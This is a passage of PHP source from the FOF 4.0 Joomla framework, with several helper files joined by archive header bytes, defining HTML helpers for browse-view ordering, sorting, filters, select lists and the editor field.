$prefix, html_entity_decode($active_title, ENT_QUOTES, 'UTF-8'), html_entity_decode($inactive_title, ENT_QUOTES, 'UTF-8'), true, 'locked', 'locked', $enabled, false, $checkbox ); } /** * Returns the drag'n'drop reordering field for Browse views * * @param string $orderingField The name of the field you're ordering by * @param string $order The order value of the current row * @param string $class CSS class for the ordering value INPUT field * @param string $icon CSS class for the d'n'd handle icon * @param string $inactiveIcon CSS class for the d'n'd disabled icon * @param DataViewInterface $view The view you're rendering against. Leave null for auto-detection. * * @return string */ public static function order(string $orderingField, ?string $order, string $class = 'input-sm', string $icon = 'akion-android-more-vertical', string $inactiveIcon = 'akion-android-more-vertical', DataViewInterface $view = null): string { $order = $order ?? 'asc'; /** @var \FOF40\View\DataView\Html $view */ if (is_null($view)) { $view = BrowseView::getViewFromBacktrace(); } $dndOrderingActive = $view->getLists()->order == $orderingField; // Default inactive ordering $html = '<span class="sortable-handler inactive" >'; $html .= '<span class="' . $icon . '"></span>'; $html .= '</span>'; // The modern drag'n'drop method if ($view->getPerms()->editstate) { $disableClassName = ''; $disabledLabel = ''; // DO NOT REMOVE! It will initialize Joomla libraries and javascript functions $hasAjaxOrderingSupport = $view->hasAjaxOrderingSupport(); if (!is_array($hasAjaxOrderingSupport) || !$hasAjaxOrderingSupport['saveOrder']) { $disabledLabel = Text::_('JORDERINGDISABLED'); $disableClassName = 'inactive tip-top hasTooltip'; } $orderClass = $dndOrderingActive ? 'order-enabled' : 'order-disabled'; $html = '<div class="' . $orderClass . '">'; $html .= '<span class="sortable-handler ' . $disableClassName . '" title="' . $disabledLabel . '">'; $html .= '<span class="' . ($disableClassName ? $inactiveIcon : $icon) . '"></span>'; $html .= '</span>'; if ($dndOrderingActive) { $html .= '<input type="text" name="order[]" style="display: none" size="5" class="' . $class . ' text-area-order" value="' . $order . '" />'; } $html .= '</div>'; } return $html; } /** * Returns the drag'n'drop reordering table header for Browse views * * @param string $orderingField The name of the field you're ordering by * @param string $icon CSS class for the d'n'd handle icon * * @return string */ public static function orderfield(string $orderingField = 'ordering', string $icon = 'akion-stats-bars'): string { $title = Text::_('JGLOBAL_CLICK_TO_SORT_THIS_COLUMN'); $orderingLabel = Text::_('JFIELD_ORDERING_LABEL'); return <<< HTML <a href="#" onclick="Joomla.tableOrdering('{$orderingField}','asc','');return false;" class="hasPopover" title="{$orderingLabel}" data-content="{$title}" data-placement="top" > <span class="{$icon}"></span> </a> HTML; } /** * Creates an order-up action icon. * * @param integer $i The row index. * @param string $task An optional task to fire. * @param string|array $prefix An optional task prefix or an array of options * @param string $text An optional text to display * @param boolean $enabled An optional setting for access control on the action. * @param string $checkbox An optional prefix for checkboxes. * * @return string The HTML markup * * @since 3.3.0 */ public static function orderUp(int $i, string $task = 'orderup', $prefix = '', string $text = 'JLIB_HTML_MOVE_UP', bool $enabled = true, string $checkbox = 'cb'): string { if (is_array($prefix)) { $options = $prefix; $text = array_key_exists('text', $options) ? $options['text'] : $text; $enabled = array_key_exists('enabled', $options) ? $options['enabled'] : $enabled; $checkbox = array_key_exists('checkbox', $options) ? $options['checkbox'] : $checkbox; $prefix = array_key_exists('prefix', $options) ? $options['prefix'] : ''; } return static::action($i, $task, $prefix, $text, $text, false, 'arrow-up-b', 'arrow-up-b', $enabled, true, $checkbox); } /** * Creates an order-down action icon. * * @param integer $i The row index. * @param string $task An optional task to fire. * @param string|array $prefix An optional task prefix or an array of options * @param string $text An optional text to display * @param boolean $enabled An optional setting for access control on the action. * @param string $checkbox An optional prefix for checkboxes. * * @return string The HTML markup * * @since 3.3.0 */ public static function orderDown(int $i, string $task = 'orderdown', string $prefix = '', string $text = 'JLIB_HTML_MOVE_DOWN', bool $enabled = true, string $checkbox = 'cb'): string { if (is_array($prefix)) { $options = $prefix; $text = array_key_exists('text', $options) ? $options['text'] : $text; $enabled = array_key_exists('enabled', $options) ? $options['enabled'] : $enabled; $checkbox = array_key_exists('checkbox', $options) ? $options['checkbox'] : $checkbox; $prefix = array_key_exists('prefix', $options) ? $options['prefix'] : ''; } return static::action($i, $task, $prefix, $text, $text, false, 'arrow-down-b', 'arrow-down-b', $enabled, true, $checkbox); } /** * Table header for a field which changes the sort order when clicked * * @param string $title The link title * @param string $order The order field for the column * @param string $direction The current direction * @param string $selected The selected ordering * @param string $task An optional task override * @param string $new_direction An optional direction for the new column * @param string $tip An optional text shown as tooltip title instead of $title * @param string $form An optional form selector * * @return string * * @since 3.3.0 */ public static function sort(string $title, string $order, ?string $direction = 'asc', string $selected = '', ?string $task = null, string $new_direction = 'asc', string $tip = '', ?string $form = null): string { HTMLHelper::_('behavior.core'); HTMLHelper::_('bootstrap.popover'); $direction = strtolower($direction ?? 'asc'); $icon = ['akion-android-arrow-dropup', 'akion-android-arrow-dropdown']; $index = (int) ($direction === 'desc'); if ($order !== $selected) { $direction = $new_direction; } else { $direction = $direction === 'desc' ? 'asc' : 'desc'; } if ($form) { $form = ', document.getElementById(\'' . $form . '\')'; } $html = '<a href="#" onclick="Joomla.tableOrdering(\'' . $order . '\',\'' . $direction . '\',\'' . $task . '\'' . $form . ');return false;"' . ' class="hasPopover" title="' . htmlspecialchars(Text::_($tip ?: $title)) . '"' . ' data-content="' . htmlspecialchars(Text::_('JGLOBAL_CLICK_TO_SORT_THIS_COLUMN')) . '" data-placement="top">'; if (isset($title['0']) && $title['0'] === '<') { $html .= $title; } else { $html .= Text::_($title); } if ($order === $selected) { $html .= '<span class="' . $icon[$index] . '"></span>'; } return $html . '</a>'; } /** * Method to check all checkboxes on the browse view's table * * @param string $name The name of the form element * @param string $tip The text shown as tooltip title instead of $tip * @param string $action The action to perform on clicking the checkbox * * @return string * * @since 3.3.0 */ public static function checkall(string $name = 'checkall-toggle', string $tip = 'JGLOBAL_CHECK_ALL', string $action = 'Joomla.checkAll(this)'): string { HTMLHelper::_('behavior.core'); HTMLHelper::_('bootstrap.tooltip'); return '<input type="checkbox" name="' . $name . '" value="" class="hasTooltip" title="' . HTMLHelper::_('tooltipText', $tip) . '" onclick="' . $action . '" />'; } /** * Method to create a checkbox for a grid row. * * @param integer $rowNum The row index * @param mixed $recId The record id * @param boolean $checkedOut True if item is checked out * @param string $name The name of the form element * @param string $stub The name of stub identifier * * @return mixed String of html with a checkbox if item is not checked out, empty if checked out. * * @since 3.3.0 */ public static function id(int $rowNum, $recId, bool $checkedOut = false, string $name = 'cid', string $stub = 'cb'): string { return $checkedOut ? '' : '<input type="checkbox" id="' . $stub . $rowNum . '" name="' . $name . '[]" value="' . $recId . '" onclick="Joomla.isChecked(this.checked);" />'; } /** * Include the necessary JavaScript for the browse view's table order feature * * @param string $orderBy Filed by which we are currently sorting the table. * @param bool $return Should I return the JS? Default: false (= add to the page's head) * * @return string */ public static function orderjs(string $orderBy, bool $return = false): ?string { $js = <<< JS Joomla.orderTable = function() { var table = document.getElementById("sortTable"); var direction = document.getElementById("directionTable"); var order = table.options[table.selectedIndex].value; var dirn = 'asc'; if (order !== '$orderBy') { dirn = 'asc'; } else { dirn = direction.options[direction.selectedIndex].value; } Joomla.tableOrdering(order, dirn); }; JS; if ($return) { return $js; } try { JoomlaFactory::getApplication()->getDocument()->addScriptDeclaration($js); } catch (Exception $e) { // If we have no application, well, not having table sorting JS is the least of your worries... } return null; } /** * Returns the table ordering / pagination header for a browse view: number of records to display, order direction, * order by field. * * @param DataViewRaw $view The view you're rendering against. If not provided we will guess it using * MAGIC. * @param array $sortFields Array of field name => description for the ordering fields in the dropdown. * If not provided we will use all the fields available in the model. * @param Pagination $pagination The Joomla pagination object. If not provided we fetch it from the view. * @param string $sortBy Order by field name. If not provided we fetch it from the view. * @param string $order_Dir Order direction. If not provided we fetch it from the view. * * @return string * * @since 3.3.0 */ public static function orderheader(DataViewRaw $view = null, array $sortFields = [], Pagination $pagination = null, ?string $sortBy = null, ?string $order_Dir = null): string { if (is_null($view)) { $view = BrowseView::getViewFromBacktrace(); } $showBrowsePagination = $view->showBrowsePagination ?? true; $showBrowseOrdering = $view->showBrowseOrdering ?? true; $showBrowseOrderBy = $view->showBrowseOrderBy ?? true; if (!$showBrowsePagination && !$showBrowseOrdering && !$showBrowseOrderBy) { return ''; } if (empty($sortFields)) { /** @var DataModel $model */ $model = $view->getModel(); $sortFields = $view->getLists()->sortFields ?? []; $sortFields = empty($sortFields) ? self::getSortFields($model) : $sortFields; } if (empty($pagination)) { $pagination = $view->getPagination(); } if (empty($sortBy)) { $sortBy = $view->getLists()->order; } if (empty($order_Dir)) { $order_Dir = $view->getLists()->order_Dir; if (empty($order_Dir)) { $order_Dir = 'asc'; } } // Static hidden text labels $limitLabel = Text::_('JFIELD_PLG_SEARCH_SEARCHLIMIT_DESC'); $orderingDecr = Text::_('JFIELD_ORDERING_DESC'); $sortByLabel = Text::_('JGLOBAL_SORT_BY'); // Order direction dropdown $directionSelect = HTMLHelper::_('FEFHelp.select.genericlist', [ '' => $orderingDecr, 'asc' => Text::_('JGLOBAL_ORDER_ASCENDING'), 'desc' => Text::_('JGLOBAL_ORDER_DESCENDING'), ], 'directionTable', [ 'id' => 'directionTable', 'list.select' => $order_Dir, 'list.attr' => [ 'class' => 'input-medium custom-select akeebaCommonEventsOnChangeOrderTable', ], ]); // Sort by field dropdown $sortTable = HTMLHelper::_('FEFHelp.select.genericlist', array_merge([ '' => Text::_('JGLOBAL_SORT_BY'), ], $sortFields), 'sortTable', [ 'id' => 'sortTable', 'list.select' => $sortBy, 'list.attr' => [ 'class' => 'input-medium custom-select akeebaCommonEventsOnChangeOrderTable', ], ]); $html = ''; if ($showBrowsePagination) { $html .= <<< HTML <div class="akeeba-filter-element akeeba-form-group"> <label for="limit" class="element-invisible"> $limitLabel </label> {$pagination->getLimitBox()} </div> HTML; } if ($showBrowseOrdering) { $html .= <<< HTML <div class="akeeba-filter-element akeeba-form-group"> <label for="directionTable" class="element-invisible"> $orderingDecr </label> $directionSelect </div> HTML; } if ($showBrowseOrderBy) { $html .= <<< HTML <div class="akeeba-filter-element akeeba-form-group"> <label for="sortTable" class="element-invisible"> {$sortByLabel} </label> $sortTable </div> HTML; } return $html; } /** * Get the default sort fields from a model. It creates a hash array where the keys are the model's field names and * the values are the translation keys for their names, following FOF's naming conventions. * * @param DataModel $model The model for which we get the sort fields * * @return array * * @since 3.3.0 */ private static function getSortFields(DataModel $model): array { $sortFields = []; $idField = $model->getIdFieldName() ?: 'id'; $defaultFieldLabels = [ 'publish_up' => 'JGLOBAL_FIELD_PUBLISH_UP_LABEL', 'publish_down' => 'JGLOBAL_FIELD_PUBLISH_DOWN_LABEL', 'created_by' => 'JGLOBAL_FIELD_CREATED_BY_LABEL', 'created_on' => 'JGLOBAL_FIELD_CREATED_LABEL', 'modified_by' => 'JGLOBAL_FIELD_MODIFIED_BY_LABEL', 'modified_on' => 'JGLOBAL_FIELD_MODIFIED_LABEL', 'ordering' => 'JGLOBAL_FIELD_FIELD_ORDERING_LABEL', 'id' => 'JGLOBAL_FIELD_ID_LABEL', 'hits' => 'JGLOBAL_HITS', 'title' => 'JGLOBAL_TITLE', 'user_id' => 'JGLOBAL_USERNAME', 'username' => 'JGLOBAL_USERNAME', ]; $componentName = $model->getContainer()->componentName; $viewNameSingular = $model->getContainer()->inflector->singularize($model->getName()); $viewNamePlural = $model->getContainer()->inflector->pluralize($model->getName()); foreach (array_keys($model->getFields()) as $field) { $possibleKeys = [ $componentName . '_' . $viewNamePlural . '_FIELD_' . $field, $componentName . '_' . $viewNamePlural . '_' . $field, $componentName . '_' . $viewNameSingular . '_FIELD_' . $field, $componentName . '_' . $viewNameSingular . '_' . $field, ]; if (array_key_exists($field, $defaultFieldLabels)) { $possibleKeys[] = $defaultFieldLabels[$field]; } if ($field === $idField) { $possibleKeys[] = $defaultFieldLabels['id']; } $fieldLabel = ''; foreach ($possibleKeys as $langKey) { $langKey = strtoupper($langKey); $fieldLabel = Text::_($langKey); if ($fieldLabel !== $langKey) { break; } $fieldLabel = ''; } if (!empty($fieldLabel)) { $sortFields[$field] = (new Joomla\Filter\InputFilter())->clean($fieldLabel); } } return $sortFields; } } PK���\��ظ��fof40/Html/FEFHelper/edit.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ defined('_JEXEC') || die; use Joomla\CMS\Editor\Editor; use Joomla\CMS\Factory as JoomlaFactory; /** * Custom JHtml (HTMLHelper) class. Offers edit (form) view controls compatible with Akeeba Frontend * Framework (FEF). * * Call these methods as HTMLHelper::_('FEFHelp.edit.methodName', $parameter1, $parameter2, ...) */ abstract class FEFHelpEdit { public static function editor(string $fieldName, ?string $value, array $params = []): string { $params = array_merge([ 'id' => null, 'editor' => null, 'width' => '100%', 'height' => 500, 'columns' => 50, 'rows' => 20, 'created_by' => null, 'asset_id' => null, 'buttons' => true, 'hide' => false, ], $params); $editorType = $params['editor']; if (is_null($editorType)) { $editorType = JoomlaFactory::getConfig()->get('editor'); $user = JoomlaFactory::getUser(); if (!$user->guest) { $editorType = $user->getParam('editor', $editorType); } } if (is_null($params['id'])) { $params['id'] = $fieldName; } $editor = Editor::getInstance($editorType); return $editor->display($fieldName, $value, $params['width'], $params['height'], $params['columns'], $params['rows'], $params['buttons'], $params['id'], $params['asset_id'], $params['created_by'], $params); } } PK���\��G4q4q#fof40/Html/FEFHelper/BrowseView.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Html\FEFHelper; defined('_JEXEC') || die; use FOF40\Container\Container; use FOF40\Html\SelectOptions; use FOF40\Model\DataModel; use FOF40\Utils\ArrayHelper; use FOF40\View\DataView\DataViewInterface; use FOF40\View\View; use Joomla\CMS\HTML\HTMLHelper; use Joomla\CMS\Language\Text; /** * An HTML helper for Browse views. * * It reintroduces a FEF-friendly of some of the functionality found in FOF 3's Header and Field classes. These * helpers are also accessible through Blade, making the transition from XML forms to Blade templates easier. * * @since 3.3.0 */ abstract class BrowseView { /** * Caches the results of getOptionsFromModel keyed by a hash. The hash is computed by the model * name, the model state and the options passed to getOptionsFromModel. * * @var array */ private static $cacheModelOptions = []; /** * Get the translation key for a field's label * * @param string $fieldName The field name * * @return string * * @since 3.3.0 */ public static function fieldLabelKey(string $fieldName): string { $view = self::getViewFromBacktrace(); try { $inflector = $view->getContainer()->inflector; $viewName = $inflector->singularize($view->getName()); $altViewName = $inflector->pluralize($view->getName()); $componentName = $view->getContainer()->componentName; $keys = [ strtoupper($componentName . '_' . $viewName . '_FIELD_' . $fieldName), strtoupper($componentName . '_' . $altViewName . '_FIELD_' . $fieldName), strtoupper($componentName . '_' . $viewName . '_' . $fieldName), strtoupper($componentName . '_' . $altViewName . '_' . $fieldName), ]; foreach ($keys as $key) { if (Text::_($key) !== $key) { return $key; } } return $keys[0]; } catch (\Exception $e) { return ucfirst($fieldName); } } /** * Returns the label for a field (translated) * * @param string $fieldName The field name * * @return string */ public static function fieldLabel(string $fieldName): string { return Text::_(self::fieldLabelKey($fieldName)); } /** * Return a table field header which sorts the table by that field upon clicking * * @param string $field The name of the field * @param string|null $langKey (optional) The language key for the header to be displayed * * @return string */ public static function sortgrid(string $field, ?string $langKey = null): string { /** @var DataViewInterface $view */ $view = self::getViewFromBacktrace(); if (is_null($langKey)) { $langKey = self::fieldLabelKey($field); } return HTMLHelper::_('FEFHelp.browse.sort', $langKey, $field, $view->getLists()->order_Dir, $view->getLists()->order, $view->getTask()); } /** * Create a browse view filter from values returned by a model * * @param string $localField Field name * @param string $modelTitleField Foreign model field for drop-down display values * @param null $modelName Foreign model name * @param string $placeholder Placeholder for no selection * @param array $params Generic select display parameters * * @return string * * @since 3.3.0 */ public static function modelFilter(string $localField, string $modelTitleField = 'title', ?string $modelName = null, ?string $placeholder = null, array $params = []): string { /** @var DataModel $model */ $model = self::getViewFromBacktrace()->getModel(); if (empty($modelName)) { $modelName = $model->getForeignModelNameFor($localField); } if (is_null($placeholder)) { $placeholder = self::fieldLabelKey($localField); } $params = array_merge([ 'list.none' => '— ' . Text::_($placeholder) . ' —', 'value_field' => $modelTitleField, 'fof.autosubmit' => true, ], $params); return self::modelSelect($localField, $modelName, $model->getState($localField), $params); } /** * Display a text filter (search box) * * @param string $localField The name of the model field. Used when getting the filter state. * @param string $searchField The INPUT element's name. Default: "filter_$localField". * @param string $placeholder The Text language key for the placeholder. Default: extrapolate from $localField. * @param array $attributes HTML attributes for the INPUT element. * * @return string * * @since 3.3.0 */ public static function searchFilter(string $localField, ?string $searchField = null, ?string $placeholder = null, array $attributes = []): string { /** @var DataModel $model */ $view = self::getViewFromBacktrace(); $model = $view->getModel(); $searchField = empty($searchField) ? $localField : $searchField; $placeholder = empty($placeholder) ? self::fieldLabelKey($localField) : $placeholder; $attributes['type'] = $attributes['type'] ?? 'text'; $attributes['name'] = $searchField; $attributes['id'] = !isset($attributes['id']) ? "filter_$localField" : $attributes['id']; $attributes['placeholder'] = !isset($attributes['placeholder']) ? $view->escape(Text::_($placeholder)) : $attributes['placeholder']; $attributes['title'] = $attributes['title'] ?? $attributes['placeholder']; $attributes['value'] = $view->escape($model->getState($localField)); if (!isset($attributes['onchange'])) { $attributes['class'] = trim(($attributes['class'] ?? '') . ' akeebaCommonEventsOnChangeSubmit'); $attributes['data-akeebasubmittarget'] = $attributes['data-akeebasubmittarget'] ?? 'adminForm'; } // Remove null attributes and collapse into a string $attributes = array_filter($attributes, function ($v) { return !is_null($v); }); $attributes = ArrayHelper::toString($attributes); return "<input $attributes />"; } /** * Create a browse view filter with dropdown values * * @param string $localField Field name * @param array $options The HTMLHelper options list to use * @param string $placeholder Placeholder for no selection * @param array $params Generic select display parameters * * @return string * * @since 3.3.0 */ public static function selectFilter(string $localField, array $options, ?string $placeholder = null, array $params = []): string { /** @var DataModel $model */ $model = self::getViewFromBacktrace()->getModel(); if (is_null($placeholder)) { $placeholder = self::fieldLabelKey($localField); } $params = array_merge([ 'list.none' => '— ' . Text::_($placeholder) . ' —', 'fof.autosubmit' => true, ], $params); return self::genericSelect($localField, $options, $model->getState($localField), $params); } /** * View access dropdown filter * * @param string $localField Field name * @param string $placeholder Placeholder for no selection * @param array $params Generic select display parameters * * @return string * * @since 3.3.0 */ public static function accessFilter(string $localField, ?string $placeholder = null, array $params = []): string { return self::selectFilter($localField, SelectOptions::getOptions('access', $params), $placeholder, $params); } /** * Published state dropdown filter * * @param string $localField Field name * @param string $placeholder Placeholder for no selection * @param array $params Generic select display parameters * * @return string * * @since 3.3.0 */ public static function publishedFilter(string $localField, ?string $placeholder = null, array $params = []): string { return self::selectFilter($localField, SelectOptions::getOptions('published', $params), $placeholder, $params); } /** * Create a select box from the values returned by a model * * @param string $name Field name * @param string $modelName The name of the model, e.g. "items" or "com_foobar.items" * @param mixed $currentValue The currently selected value * @param array $params Passed to optionsFromModel and genericSelect * @param array $modelState Optional state variables to pass to the model * @param array $options Any HTMLHelper select options you want to add in front of the model's returned * values * * @return string * * @see self::getOptionsFromModel * @see self::getOptionsFromSource * @see self::genericSelect * * @since 3.3.0 */ public static function modelSelect(string $name, string $modelName, $currentValue, array $params = [], array $modelState = [], array $options = []): string { $params = array_merge([ 'fof.autosubmit' => true, ], $params); $options = self::getOptionsFromModel($modelName, $params, $modelState, $options); return self::genericSelect($name, $options, $currentValue, $params); } /** * Get a (human readable) title from a (typically numeric, foreign key) key value using the data * returned by a DataModel. * * @param string $value The key value * @param string $modelName The name of the model, e.g. "items" or "com_foobar.items" * @param array $params Passed to getOptionsFromModel * @param array $modelState Optional state variables to pass to the model * @param array $options Any HTMLHelper select options you want to add in front of the model's returned * values * * @return string * * @see self::getOptionsFromModel * @see self::getOptionsFromSource * @see self::genericSelect * * @since 3.3.0 */ public static function modelOptionName(string $value, ?string $modelName = null, array $params = [], array $modelState = [], array $options = []): ?string { if (!isset($params['cache'])) { $params['cache'] = true; } if (!isset($params['none_as_zero'])) { $params['none_as_zero'] = true; } $options = self::getOptionsFromModel($modelName, $params, $modelState, $options); return self::getOptionName($value, $options); } /** * Gets the active option's label given an array of HTMLHelper options * * @param mixed $selected The currently selected value * @param array $data The HTMLHelper options to parse * @param string $optKey Key name, default: value * @param string $optText Value name, default: text * @param bool $selectFirst Should I automatically select the first option? Default: true * * @return mixed The label of the currently selected option */ public static function getOptionName($selected, array $data, string $optKey = 'value', string $optText = 'text', bool $selectFirst = true): ?string { $ret = null; foreach ($data as $elementKey => &$element) { if (is_array($element)) { $key = $optKey === null ? $elementKey : $element[$optKey]; $text = $element[$optText]; } elseif (is_object($element)) { $key = $optKey === null ? $elementKey : $element->$optKey; $text = $element->$optText; } else { // This is a simple associative array $key = $elementKey; $text = $element; } if (is_null($ret) && $selectFirst && ($selected == $key)) { $ret = $text; } elseif ($selected == $key) { $ret = $text; } } return $ret; } /** * Create a generic select list based on a bunch of options. Option sources will be merged into the provided * options automatically. * * Parameters: * - format.depth The current indent depth. * - format.eol The end of line string, default is linefeed. * - format.indent The string to use for indentation, default is tab. * - groups If set, looks for keys with the value "<optgroup>" and synthesizes groups from them. Deprecated. * Default: true. * - list.select Either the value of one selected option or an array of selected options. Default: $currentValue. * - list.translate If true, text and labels are translated via Text::_(). Default is false. * - list.attr HTML element attributes (key/value array or string) * - list.none Placeholder for no selection (creates an option with an empty string key) * - option.id The property in each option array to use as the selection id attribute. Defaults: null. * - option.key The property in each option array to use as the Default: "value". If set to null, the index of the * option array is used. * - option.label The property in each option array to use as the selection label attribute. Default: null * - option.text The property in each option array to use as the displayed text. Default: "text". If set to null, * the option array is assumed to be a list of displayable scalars. * - option.attr The property in each option array to use for additional selection attributes. Defaults: null. * - option.disable: The property that will hold the disabled state. Defaults to "disable". * - fof.autosubmit Should I auto-submit the form on change? Default: true * - fof.formname Form to auto-submit. Default: adminForm * - class CSS class to apply * - size Size attribute for the input * - multiple Is this a multiple select? Default: false. * - required Is this a required field? Default: false. * - autofocus Should I focus this field automatically? Default: false * - disabled Is this a disabled field? Default: false * - readonly Render as a readonly field with hidden inputs? Overrides 'disabled'. Default: false * - onchange Custom onchange handler. Overrides fof.autosubmit. Default: NULL (use fof.autosubmit). * * @param string $name * @param array $options * @param mixed $currentValue * @param array $params * * @return string * * @since 3.3.0 */ public static function genericSelect(string $name, array $options, $currentValue, array $params = []): string { $params = array_merge([ 'format.depth' => 0, 'format.eol' => "\n", 'format.indent' => "\t", 'groups' => true, 'list.select' => $currentValue, 'list.translate' => false, 'option.id' => null, 'option.key' => 'value', 'option.label' => null, 'option.text' => 'text', 'option.attr' => null, 'option.disable' => 'disable', 'list.attr' => '', 'list.none' => '', 'id' => null, 'fof.autosubmit' => true, 'fof.formname' => 'adminForm', 'class' => '', 'size' => '', 'multiple' => false, 'required' => false, 'autofocus' => false, 'disabled' => false, 'onchange' => null, 'readonly' => false, ], $params); $currentValue = $params['list.select']; $classes = $params['class'] ?? ''; $classes = is_array($classes) ? implode(' ', $classes) : $classes; // If fof.autosubmit is enabled and onchange is not set we will add our own handler if ($params['fof.autosubmit'] && is_null($params['onchange'])) { $formName = $params['fof.formname'] ?: 'adminForm'; $classes .= ' akeebaCommonEventsOnChangeSubmit'; $params['data-akeebasubmittarget'] = $formName; } // Construct SELECT element's attributes $attr = [ 'class' => trim($classes) ?: null, 'size' => ($params['size'] ?? null) ?: null, 'multiple' => ($params['multiple'] ?? null) ?: null, 'required' => ($params['required'] ?? false) ?: null, 'aria-required' => ($params['required'] ?? false) ? 'true' : null, 'autofocus' => ($params['autofocus'] ?? false) ?: null, 'disabled' => (($params['disabled'] ?? false) || ($params['readonly'] ?? false)) ?: null, 'onchange' => $params['onchange'] ?? null, ]; $attr = array_filter($attr, function ($x) { return !is_null($x); }); // We merge the constructed SELECT element's attributes with the 'list.attr' array, if it was provided $params['list.attr'] = array_merge($attr, (($params['list.attr'] ?? []) ?: [])); // Merge the options with those fetched from a source (e.g. another Helper object) $options = array_merge($options, self::getOptionsFromSource($params)); if (!empty($params['list.none'])) { array_unshift($options, HTMLHelper::_('FEFHelp.select.option', '', Text::_($params['list.none']))); } $html = []; // Create a read-only list (no name) with hidden input(s) to store the value(s). if ($params['readonly']) { $html[] = HTMLHelper::_('FEFHelp.select.genericlist', $options, $name, $params); // E.g. form field type tag sends $this->value as array if ($params['multiple'] && is_array($currentValue)) { if (count($currentValue) === 0) { $currentValue[] = ''; } foreach ($currentValue as $value) { $html[] = '<input type="hidden" name="' . $name . '" value="' . htmlspecialchars($value, ENT_COMPAT, 'UTF-8') . '"/>'; } } else { $html[] = '<input type="hidden" name="' . $name . '" value="' . htmlspecialchars($value, ENT_COMPAT, 'UTF-8') . '"/>'; } } else // Create a regular list. { $html[] = HTMLHelper::_('FEFHelp.select.genericlist', $options, $name, $params); } return implode($html); } /** * Replace tags that reference fields with their values * * @param string $text Text to process * @param DataModel $item The DataModel instance to get values from * * @return string Text with tags replace * * @since 3.3.0 */ public static function parseFieldTags(string $text, DataModel $item): string { $ret = $text; if (empty($item)) { return $ret; } /** * Replace [ITEM:ID] in the URL with the item's key value (usually: the auto-incrementing numeric ID) */ $replace = $item->getId(); $ret = str_replace('[ITEM:ID]', $replace, $ret); // Replace the [ITEMID] in the URL with the current Itemid parameter $ret = str_replace('[ITEMID]', $item->getContainer()->input->getInt('Itemid', 0), $ret); // Replace the [TOKEN] in the URL with the Joomla! form token $ret = str_replace('[TOKEN]', $item->getContainer()->platform->getToken(true), $ret); // Replace other field variables in the URL $data = $item->getData(); foreach ($data as $field => $value) { // Skip non-processable values if (is_array($value) || is_object($value)) { continue; } $search = '[ITEM:' . strtoupper($field) . ']'; $ret = str_replace($search, $value, $ret); } return $ret; } /** * Get the FOF View from the backtrace of the static call. MAGIC! * * @return View * * @since 3.3.0 */ public static function getViewFromBacktrace(): View { // In case we are on a brain-dead host if (!function_exists('debug_backtrace')) { throw new \RuntimeException("Your host has disabled the <code>debug_backtrace</code> PHP function. Please ask them to re-enable it. It's required for running this software."); } /** * For performance reasons I look into the last 4 call stack entries. If I don't find a container I * will expand my search by another 2 entries and so on until I either find a container or I stop * finding new call stack entries. */ $lastNumberOfEntries = 0; $limit = 4; $skip = 0; $container = null; while (true) { $backtrace = debug_backtrace(DEBUG_BACKTRACE_PROVIDE_OBJECT, $limit); if (count($backtrace) === $lastNumberOfEntries) { throw new \RuntimeException(__METHOD__ . ": Cannot retrieve FOF View from call stack. You are either calling me from a non-FEF extension or your PHP is broken."); } $lastNumberOfEntries = count($backtrace); if ($skip) { $backtrace = array_slice($backtrace, $skip); } foreach ($backtrace as $bt) { if (!isset($bt['object'])) { continue; } if ($bt['object'] instanceof View) { return $bt['object']; } } $skip = $limit; $limit += 2; } } /** * Get HTMLHelper options from an alternate source, e.g. a helper. This is useful for adding arbitrary options * which are either dynamic or you do not want to inline to your view, e.g. reusable options across * different views. * * The attribs can be: * source_file The file to load. You can use FOF's URIs such as 'admin:com_foobar/foo/bar' * source_class The class to use * source_method The static method to use on source_class * source_key Use * if you're returning a key/value array. Otherwise the array key for the key (ID) * value. * source_value Use * if you're returning a key/value array. Otherwise the array key for the displayed * value. source_translate Should I pass the value field through Text? Default: true source_format Set * to "optionsobject" if you're returning an array of HTMLHelper options. Ignored otherwise. * * @param array $attribs * * @return array * * @since 3.3.0 */ private static function getOptionsFromSource(array $attribs = []): array { $options = []; $container = self::getContainerFromBacktrace(); $attribs = array_merge([ 'source_file' => '', 'source_class' => '', 'source_method' => '', 'source_key' => '*', 'source_value' => '*', 'source_translate' => true, 'source_format' => '', ], $attribs); $source_file = $attribs['source_file']; $source_class = $attribs['source_class']; $source_method = $attribs['source_method']; $source_key = $attribs['source_key']; $source_value = $attribs['source_value']; $source_translate = $attribs['source_translate']; $source_format = $attribs['source_format']; if ($source_class && $source_method) { // Maybe we have to load a file? if (!empty($source_file)) { $source_file = $container->template->parsePath($source_file, true); if ($container->filesystem->fileExists($source_file)) { include $source_file; } } // Make sure the class exists // ...and so does the option if (class_exists($source_class, true) && in_array($source_method, get_class_methods($source_class))) { // Get the data from the class if ($source_format == 'optionsobject') { $options = array_merge($options, $source_class::$source_method()); } else { $source_data = $source_class::$source_method(); // Loop through the data and prime the $options array foreach ($source_data as $k => $v) { $key = (empty($source_key) || ($source_key == '*')) ? $k : @$v[$source_key]; $value = (empty($source_value) || ($source_value == '*')) ? $v : @$v[$source_value]; if ($source_translate) { $value = Text::_($value); } $options[] = HTMLHelper::_('FEFHelp.select.option', $key, $value, 'value', 'text'); } } } } reset($options); return $options; } /** * Get HTMLHelper options from the values returned by a model. * * The params can be: * key_field The model field used for the OPTION's key. Default: the model's ID field. * value_field The model field used for the OPTION's displayed value. You must provide it. * apply_access Should I apply Joomla ACLs to the model? Default: FALSE. * none Placeholder for no selection. Default: NULL (no placeholder). * none_as_zero When true, the 'none' placeholder applies to values '' **AND** '0' (empty string and zero) * translate Should I pass the values through Text? Default: TRUE. * with Array of relation names for eager loading. * cache Cache the results for faster reuse * * @param string $modelName The name of the model, e.g. "items" or "com_foobar.items" * @param array $params Parameters which define which options to get from the model * @param array $modelState Optional state variables to pass to the model * @param array $options Any HTMLHelper select options you want to add in front of the model's returned * values * * @return mixed * * @since 3.3.0 */ private static function getOptionsFromModel(string $modelName, array $params = [], array $modelState = [], array $options = []): array { // Let's find the FOF DI container from the call stack $container = self::getContainerFromBacktrace(); // Explode model name into component name and prefix $componentName = $container->componentName; $mName = $modelName; if (strpos($modelName, '.') !== false) { [$componentName, $mName] = explode('.', $mName, 2); } if ($componentName !== $container->componentName) { $container = Container::getInstance($componentName); } /** @var DataModel $model */ $model = $container->factory->model($mName)->setIgnoreRequest(true)->savestate(false); 